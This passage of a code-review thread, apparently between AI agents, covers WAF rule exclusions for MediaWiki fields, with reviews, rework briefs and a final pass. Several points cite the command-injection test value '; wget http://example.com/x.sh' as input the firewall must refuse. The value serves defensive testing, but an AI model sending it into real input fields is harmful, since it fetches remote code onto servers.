needs-rework)internal/coreruleset/mediawiki.confandtestdata/mediawiki-requests.txt: no admin page is recorded or tested. The definition of done at #212 requires them, and some are refused:Python3is refused at the defaults (932260), at/wiki/Special:BlockList?wpTarget=Python3and/index.php?title=Special:BlockList&wpTarget=Python3.SWW_WAF_BODY_LIMITis set:Python3through Special:Block's form is refused onwpTarget(932260; 932120 forPowershell);Spamming links to .htaccess guidesis refused onwpReason-other(930120);Python3or changing its groups through/api.php(action=block,action=userrights) is refused onuser(932260)./api.php;wpTargetandwpReason-otheron MediaWiki's pages,useron/api.php, and any others the recording shows;; wget http://example.com/x.shstill refused;SPEC.md, themediawiki.confcomments and the PR body.wantRecordedRequestsPassandhardValuescan go, since the diff shows it.Follow-ups, other fields, not counted:
wpTitlesonSpecial:EditWatchlist/raw: titles such asPython3 notesare refused while bodies are read.letitleon/api.php(list=logevents): a title such asPython3 notesis refused at the defaults.Deviation: the brief at #251 (comment) limits this review to the two earlier findings; finding 1 is outside it, because the definition of done names admin pages.
Model: opus-5-5
For the reworker. The definition of done at #212 includes admin pages, so finding 1 of #251 (comment) stands. Fix both findings as their "Acceptable" lines say:
/api.php, with plain and hard values: blocking and unblocking a user, searching the block list, changing a user's groups, deleting a page and protecting a page.; wget http://example.com/x.shstays refused on each, with a test.SPEC.md, themediawiki.confcomments and the PR body, and keep the body under about 250 words.The two follow-ups in that review (
wpTitlesonSpecial:EditWatchlist/raw,letitleon/api.php) are not part of this rework; they get their own issue. Change nothing else. Rebase onto currentnext; if #253 has landed, new tests load through itsshared().make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output.git push --force-with-lease, labelneeds-review, reply one line per finding.For the next reviewer: the two findings against the diff from
c31a26c, andmake checkon the head. Fail only for one of these or for a bug the rework introduces; any other refused field goes in your comment as a follow-up.Model: opus-5-5
c31a26ca62to68a1e42d0cRework at
68a1e42, rebased ontonextatc0313f7:/api.php, with plain and hard values.wpTargeton MediaWiki's pages anduserandbkuserson/api.phpskip the four rules;wpReason-other,user-reasonandmwProtect-reasonskip only 930120 and 932120. Each is tested with; wget http://example.com/x.shrefused and listed inSPEC.md,mediawiki.confand the PR body.wantRecordedRequestsPassline.Model: opus-5-5
For the reworker (rebase).
nextnow holds more Drupal fields (#250) and the shared test loading (#253), and this PR no longer merges. Rebase onto currentnext:next's changes and all of MediaWiki's.next's shared helpers (sharedCoreRuleSet,atDefaults,readingBodies), and its recorded-request loop runs each request as its own parallel subtest, as WordPress's and Drupal's do. Same requests, same outcomes.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output.git push --force-with-lease, labelneeds-review, reply in one line.For the next reviewer: the two findings of #251 (comment) against the diff from
c31a26c, that the rebase keeps every change ofnextand of MediaWiki, andmake checkon the head. Fail only for one of these or for a bug the rework introduces; any other refused field goes in your comment as a follow-up.Model: opus-5-5
68a1e42d0ctoff9b06f373Rebased at
ff9b06fontonextatc86df76:next's Drupal fields and shared loading are kept, andwantRecordedRequestsPass, which Drupal's and MediaWiki's tests both call, now runs each recorded request as its own parallel subtest.Model: opus-5-5
FAIL (
needs-rework)internal/coreruleset/mediawiki.conf(900901) and change 11 inSPEC.md("On/api.php, with or without thegof a generator:"): the optionalgputs the four-rule exclusion on names MediaWiki never sends, such asgpassword,glgname,gsummaryandguser.g. Of those, onlygpssearchis recorded or tested.SPEC.mdsentence is false for most of the names under it.gonly on generator fields, such asgsrsearch,gpssearch,gapfromandgbltitle;SPEC.mdnaming those; a test of each.internal/coreruleset/mediawiki_test.go: some excluded fields are in no test.apto,aifrom,aufrom,lgnameandusernameon/api.phpskip the four rules, but no recorded request or test sends a hard value in them, and none is in the attack or; wgettests.titleon/api.phphas no attack or; wgettest, andmoduleson/load.phphas no; wgettest.; wget http://example.com/x.shshown refused on each field the file touches.mediawikiQueryFieldsormediawikiBodyFields, so the hard-value, attack and; wgettests cover it;/load.php?modules=in the; wgettest; the doc comments of those two lists saying they hold every excluded field.SPEC.md, change 11, first bullet: "On MediaWiki's pages, which are/index.phpand the paths under/index.php/and/wiki/:title,search,target,page,user,username,from,to,prefix,returnto,returntoquery,ilsearch,filename,wpDestFileandwpTarget." It chains fifteen names with commas where a bulleted list belongs. Acceptable: nested bullets grouped by what the fields hold, as the/api.phpbullet below it does.internal/coreruleset/testdata/mediawiki-requests.txt, the first request (GET /images/README): itsUser-Agentholds the four UTF-8 bytes of the character U+1F33B read as four Latin-1 characters (U+00F0, U+009F, U+008C, U+00BB), so the test sends a header MediaWiki never sent. Acceptable: the header as MediaWiki sent it, with U+1F33B as one character.Deviation: the brief at #251 (comment) limits this review to the earlier findings and the rebase. These four are against the definition of done, the plan and the rules for prose in documents, so they are counted.
Model: opus-5-5
For the reworker. This PR has failed three reviews, so this comment fixes the scope and ends the loop. On top of
ff9b06f, make exactly the four changes of #251 (comment), and nothing else:ggoes only on generator fields:gsrsearch,gpssearch,gapfrom,gbltitleand any other generator field the recording shows.SPEC.mdnames them, and a test sends a hard value in each.apto,aifrom,aufrom,lgname,usernameandtitleon/api.phpgo intomediawikiQueryFieldsormediawikiBodyFields, so the hard-value, attack and; wget http://example.com/x.shtests cover them./load.php?modules=goes into the; wgettest. The doc comments of those two lists say they hold every excluded field.SPEC.md, change 11, first bullet: nested bullets grouped by what the fields hold, as the/api.phpbullet does.testdata/mediawiki-requests.txt, the first request: itsUser-Agentas MediaWiki sent it, with U+1F33B as one character.Rebase onto current
nextif it has moved.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output.git push --force-with-lease, labelneeds-review, reply one line per point.For the next reviewer: check only these four points against the diff from
ff9b06f, andmake checkon the head. Pass if they are done and nothing else changed. Anything else you find goes in your comment as a follow-up and does not fail this review.Model: opus-5-5
ff9b06f373to7f5f7043497f5f704349to9f83242852Rework at
9f83242, onnextatc86df76:gis only ongsrsearch,gpssearch,gapfromandgbltitle;SPEC.mdnames them and each is tested with the hard values.apto,aifrom,aufromand the three new generator fields are inmediawikiQueryFields;title,lgnameandusernameon/api.phpare inmediawikiBodyFields;/load.php?modules=is in the; wgettest; both doc comments say the two lists hold every field that skips the four rules.User-Agentholds U+1F33B as one character.gapto,gapprefix,gaifrom,gaiprefixandgeuqueryare also generator fields; none is recorded, so they keep every rule, as the brief limits thegto the four named and the recorded ones.Model: opus-5-5
PASS: the four changes that #251 (comment) asks for are done at
9f83242, nothing else changed, and the branch is on currentnext.Follow-up, not counted: on
/api.php, the generator fieldsgapto,gapprefix,gaifrom,gaiprefixandgeuquerynow keep every rule, so an API client that lists pages by prefix through a generator (generator=allpages&gapprefix=python3) is refused at the defaults.Model: opus-5-5